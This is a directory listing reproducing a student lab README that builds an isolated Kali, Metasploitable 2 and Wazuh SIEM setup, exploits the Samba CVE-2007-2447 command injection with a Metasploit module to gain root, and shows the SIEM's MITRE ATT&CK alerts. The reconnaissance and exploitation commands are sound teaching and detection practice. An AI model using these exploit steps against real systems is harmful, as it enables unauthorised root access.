Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyΒ© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2007-2447-Exploitation-SIEM-Detection-Lab β€” Isolated AD/Linux attack lab: exploited CVE-2007-2447 via Metasploit, detected with Wazuh SIEM mapped to MITRE ATT&CK (T1190, T1059) | Kitploit
Tools/GitHubGitHub/harshiys/cve-2007-2447-exploitation-siem-detection-lab
ReconnaissanceExploit FrameworksVulnerability AnalysisExploitationPenetration TestingThreat IntelligenceIntrusion DetectionLearning & EducationLog Analysis

Most Popular

View all β†’

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools β†’
Share
Labs & Practice
GitHubharshiys/cve-2007-2447-exploitation-siem-detection-lab

CVE-2007-2447-Exploitation-SIEM-Detection-Lab

Isolated AD/Linux attack lab: exploited CVE-2007-2447 via Metasploit, detected with Wazuh SIEM mapped to MITRE ATT&CK (T1190, T1059)

View Repository
462 months agoNot yet reviewed

πŸ›‘οΈ CVE-2007-2447 Exploitation & SIEM Detection Lab (Wazuh + MITRE ATT&CK)

B.Tech Project (BTP) | IIIT Pune Based on: "Designing and Implementing an Effective Cybersecurity Home Lab for Detection and Monitoring" β€” ICCCNT 2023, IIT Delhi

A fully functional cybersecurity home lab built on a single machine using free and open-source tools. The lab simulates a real-world attack lifecycle β€” Reconnaissance β†’ Exploitation β†’ Detection β€” and demonstrates how a SIEM can detect and map attacks to the MITRE ATT&CK framework in real time.


πŸ“ Lab Architecture

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚           VirtualBox β€” Internal Network          β”‚
β”‚              (cyberlab, 10.0.0.x/24)             β”‚
β”‚                                                  β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚
β”‚  β”‚  Kali    β”‚   β”‚ Metasploitableβ”‚  β”‚  Ubuntu  β”‚ β”‚
β”‚  β”‚ 10.0.0.1 │◄─►│   10.0.0.2   │◄─►│ 10.0.0.3 β”‚ β”‚
β”‚  β”‚ ATTACKER β”‚   β”‚    VICTIM     β”‚  β”‚   SIEM   β”‚ β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
         Host-Only Adapter (192.168.56.103)
         β†’ Wazuh Dashboard access from browser
VMRoleIPTools
Kali Linux 2026.1Attacker10.0.0.1Nmap, Metasploit
Metasploitable 2Victim10.0.0.220+ vulnerabilities
Ubuntu 22.04 + WazuhSIEM10.0.0.3Wazuh v4.7.5

🧰 Tools & Technologies

ToolVersionPurpose
VirtualBox7.xHypervisor β€” runs all VMs on one host
Kali Linux2026.1Penetration testing OS (offensive)
Metasploitable 2v2.0Intentionally vulnerable target
Wazuhv4.7.5Open-source SIEM (defensive)
NmapLatestNetwork/port scanning
Metasploit FrameworkLatestExploitation framework

πŸ”§ Setup Guide

Prerequisites

  • A machine with at least 16 GB RAM (all 3 VMs run simultaneously)
  • VirtualBox 7.x installed
  • ~50 GB free disk space

Step 1 β€” Network Setup in VirtualBox

Create an Internal Network named cyberlab in VirtualBox. All three VMs get this adapter. The Ubuntu/Wazuh VM gets an additional Host-Only Adapter so you can access the dashboard from your browser.


Step 2 β€” Kali Linux (Attacker)

  1. Download the Kali Linux VirtualBox image
  2. Import and assign the cyberlab internal network adapter
  3. Set a static IP:
# Edit /etc/network/interfaces
auto eth0
iface eth0 inet static
    address 10.0.0.1
    netmask 255.255.255.0
  1. Restart networking: sudo systemctl restart networking

Step 3 β€” Metasploitable 2 (Victim)

  1. Download Metasploitable 2
  2. Import into VirtualBox, assign cyberlab network
  3. Set static IP:
# Edit /etc/network/interfaces
auto eth0
iface eth0 inet static
    address 10.0.0.2
    netmask 255.255.255.0

⚠️ Never expose Metasploitable 2 to the internet. It is intentionally insecure.


Step 4 β€” Ubuntu + Wazuh SIEM (Defender)

  1. Install Ubuntu Server 22.04
  2. Assign two adapters: cyberlab internal + Host-Only
  3. Configure static IP via netplan (/etc/netplan/01-network-manager-all.yaml):
network:
  version: 2
  renderer: NetworkManager
  ethernets:
    enp0s3:
      addresses:
        - 10.0.0.3/24
    enp0s8:
      dhcp4: true
  1. Install Wazuh (single-node):
curl -sO https://packages.wazuh.com/4.7/wazuh-install.sh
sudo bash wazuh-install.sh -a
  1. Access dashboard at: https://192.168.56.103 (from host browser)

Step 5 β€” Connect Metasploitable to Wazuh via Syslog

Since Metasploitable 2 cannot run a Wazuh agent, configure syslog forwarding for agentless monitoring:

On Metasploitable, add to /etc/rsyslog.conf:

*.* @10.0.0.3:514

On Wazuh (Ubuntu), enable syslog input in /var/ossec/etc/ossec.conf:

<remote>
  <connection>syslog</connection>
  <port>514</port>
  <protocol>udp</protocol>
</remote>

Restart Wazuh: sudo systemctl restart wazuh-manager


βš”οΈ Attack Simulation

Phase 1 β€” Reconnaissance (Nmap)

# From Kali
nmap -sV -O 10.0.0.2

Key services discovered on Metasploitable 2:

PortServiceVersion
21/tcpFTPvsftpd 2.3.4
22/tcpSSHOpenSSH 4.7p1
80/tcpHTTPApache 2.2.8
139/445SMBSamba 3.x–4.x
3306/tcpMySQL5.0.51a
5432/tcpPostgreSQL8.3

20+ open ports discovered. OS fingerprinted: Linux 2.6.x


Phase 2 β€” Exploitation (Metasploit)

Vulnerability: CVE-2007-2447 β€” Samba usermap_script Command Injection

Allows unauthenticated remote code execution via malformed MS-RPC requests on Samba 3.0.0–3.0.25rc3.

# From Kali β€” launch Metasploit
msfconsole

# Inside Metasploit
use exploit/multi/samba/usermap_script
set RHOSTS 10.0.0.2
set LHOST 10.0.0.1
run

# Verify root access
whoami
# Output: root

Phase 3 β€” Detection (Wazuh SIEM)

After the exploit, Wazuh automatically detected and mapped the events to MITRE ATT&CK:

Rule IDDescriptionMITRE TechniqueTactic
5402Successful sudo to ROOT executedT1548.003Privilege Escalation
5501PAM: Login session openedT1078Initial Access / Persistence
5502PAM: Login session closedT1078Defense Evasion
502Wazuh server startedβ€”Detection Active

Total events detected: 55+

Access the dashboard at https://192.168.56.103 β†’ Security Events β†’ MITRE ATT&CK


πŸ“Š Key Results

  • βœ… Successfully replicated the full attack lifecycle in an isolated environment
  • βœ… CVE-2007-2447 achieved unauthenticated root shell in seconds
  • βœ… Wazuh SIEM detected and mapped all attacks to MITRE ATT&CK in real time
  • βœ… Syslog forwarding enabled agentless monitoring of the legacy Metasploitable system
  • βœ… Entire lab runs on a single host machine with 16 GB RAM

πŸ“ Repository Structure

cybersecurity-home-lab/
β”‚
β”œβ”€β”€ README.md                  ← You are here
β”œβ”€β”€ network-config/
β”‚   β”œβ”€β”€ kali-interfaces.txt    ← Kali static IP config
β”‚   β”œβ”€β”€ metasploitable-interfaces.txt
β”‚   └── ubuntu-netplan.yaml    ← Ubuntu/SIEM netplan config
β”œβ”€β”€ wazuh-config/
β”‚   └── ossec.conf             ← Wazuh syslog/agent config
β”œβ”€β”€ screenshots/
β”‚   β”œβ”€β”€ nmap-scan.png
β”‚   β”œβ”€β”€ metasploit-exploit.png
β”‚   β”œβ”€β”€ wazuh-dashboard.png
β”‚   └── wazuh-alerts-table.png
└── report/
    └── ICCCNT_2023_paper.pdf  ← Reference research paper

πŸ”— Reference

Dadiyala, C. et al. (2023). Designing and Implementing an Effective Cybersecurity Home Lab for Detection and Monitoring. 14th International Conference on Computing, Communication and Networking Technologies (ICCCNT), IIT Delhi. IEEE-56998.


⚠️ Disclaimer

This lab is built entirely on isolated virtual machines with no internet access during attack simulations. All tools and techniques are used strictly for educational purposes within a controlled environment. Do not attempt to replicate any attack techniques on systems you do not own or have explicit permission to test.


Presented by Harshita Verma | IIIT Pune

Download Tool